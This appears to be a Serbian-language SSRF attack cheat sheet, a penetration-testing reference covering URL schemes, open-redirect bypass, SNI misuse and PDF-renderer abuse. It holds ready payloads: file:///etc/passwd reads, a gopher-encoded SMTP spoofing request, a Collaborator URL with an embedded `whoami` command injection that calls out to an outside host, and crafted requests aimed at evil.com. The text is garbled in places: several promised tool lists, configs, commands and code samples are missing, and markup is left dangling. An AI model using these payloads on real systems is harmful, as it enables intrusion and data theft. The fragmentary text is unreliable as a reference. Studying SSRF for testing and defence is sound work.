Ranjivost Server-side Request Forgery (SSRF) se javlja kada napadač manipuliše server-side aplikacijom da pravi HTTP zahteve ka domenu po izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima usmerenim od strane napadača.
Snimanje SSRF-a
Prva stvar koju treba da uradite je da snimite SSRF interakciju koju ste generisali. Za snimanje HTTP ili DNS interakcije možete koristiti alate kao što su:
Obično ćete otkriti da SSRF radi samo na određenim belim listiranim domenima ili URL-ovima. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te bele liste:
Ako je server pravilno zaštićen, možete zaobići sve restrikcije eksploatišući Otvoreno preusmeravanje unutar web stranice. Pošto će web stranica dozvoliti SSRF ka istom domenu i verovatno će pratiti preusmeravanja, možete eksploatisati Otvoreno preusmeravanje da naterate server da pristupi internim resursima.
Pročitajte više ovde: https://portswigger.net/web-security/ssrf
Protokoli
file://
URL šema file:// se referiše, usmeravajući direktno na /etc/passwd: file:///etc/passwd
dict://
DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja potencijalno može biti zloupotrebljena da se poveže sa DICT serverom koristeći od strane napadača pružene akreditive: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identifikovan kao protokol za siguran prenos fajlova preko sigurne ljuske, pružen je primer koji prikazuje kako bi PHP skripta mogla biti iskorišćena da se poveže sa zlonamernim SFTP serverom: url=sftp://generic.com:11111/
TFTP://
Trivialni protokol prenosa fajlova, koji radi preko UDP-a, pomenut je sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. Zahtev TFTP serveru 'generic.com' na portu '12346' za fajl 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacionim servisima direktorijuma preko IP mreža. Interakcija sa LDAP serverom na localhostu: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Opisan je metod za eksploataciju SSRF ranjivosti za interakciju sa SMTP servisima na localhostu, uključujući korake za otkrivanje internih imena domena i dalje istraživačke akcije na osnovu tih informacija.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - Bypassovanje WAF-a
Ako se SSRF izvršava pomoću curl, curl ima funkciju nazvanu URL globbing koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom writeup možete pronaći primer za traversiranje putanje putem file protokola:
Mogućnost Gopher protokola da specificira IP adresu, port i bajtove za komunikaciju sa serverom je diskutovana, zajedno sa alatima poput Gopherus-a i remote-method-guesser-a za kreiranje payload-a. Prikazane su dve različite upotrebe:
Gopher://
Korišćenjem ovog protokola možete specificirati IP adresu, port i bajtove koje želite da server pošalje. Zatim, praktično možete iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali prvo morate znati kako da komunicirate sa servisom).
Srećom, možete koristiti Gopherus za kreiranje payload-a za različite servise. Dodatno, remote-method-guesser može se koristiti za kreiranje gopher payload-a za Java RMI servise.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET/HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie:eatme%0A%0AI+am+a+post+body
Softver za analitiku na serverima često beleži Referrer zaglavlje kako bi pratili dolazne linkove, praksu koja nenamerno izlaže aplikacije ranjivostima na Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer zaglavlju kako bi analizirao sadržaj referentnog sajta. Da bi otkrili ove ranjivosti, preporučuje se korišćenje Burp Suite dodatka "Collaborator Everywhere", iskorišćavajući način na koji alati za analitiku obrađuju Referer zaglavlje kako bi identifikovali potencijalne površine napada SSRF.
SSRF putem SNI podataka iz sertifikata
Pogrešna konfiguracija koja omogućava povezivanje sa bilo kojim backend-om kroz jednostavan setup ilustrovana je primerom Nginx konfiguracije:
U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost na Server-Side Request Forgery (SSRF), koja može biti iskorišćena jednostavnim navođenjem željene IP adrese ili imena domena u polju SNI. Primer iskorišćavanja za prisiljavanje veze sa proizvoljnim backend-om, poput internal.host.com, korišćenjem openssl komande je data ispod:
Moglo bi biti vredno pokušati sa payload-om poput: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Prikazivanje PDF fajlova
Ako veb stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete ubaciti neki JS koji će biti izvršen od strane samog kreatora PDF-a (servera) dok kreira PDF i moći ćete zloupotrebiti SSRF. Pronađite više informacija ovde.
Od SSRF do DoS-a
Kreirajte nekoliko sesija i pokušajte da preuzmete teške fajlove iskorišćavajući SSRF iz sesija.
Za neke eksploatacije možda će vam biti potrebno poslati preusmeravajući odgovor (potencijalno koristeći drugi protokol poput gopher-a). Ovde imate različite Python kodove za odgovor sa preusmeravanjem:
</details>
Flask omogućava korišćenje **`@`** kao početnog karaktera, što omogućava da se **početno ime hosta koristi kao korisnik** i ubaci novo ime. Napadni zahtev:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Ranjiv kôd:
Otkriveno je da je moguće zapoceti putanju zahteva karakterom ; što omogućava korišćenje @ i ubacivanje novog hosta za pristup. Napadački zahtev:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close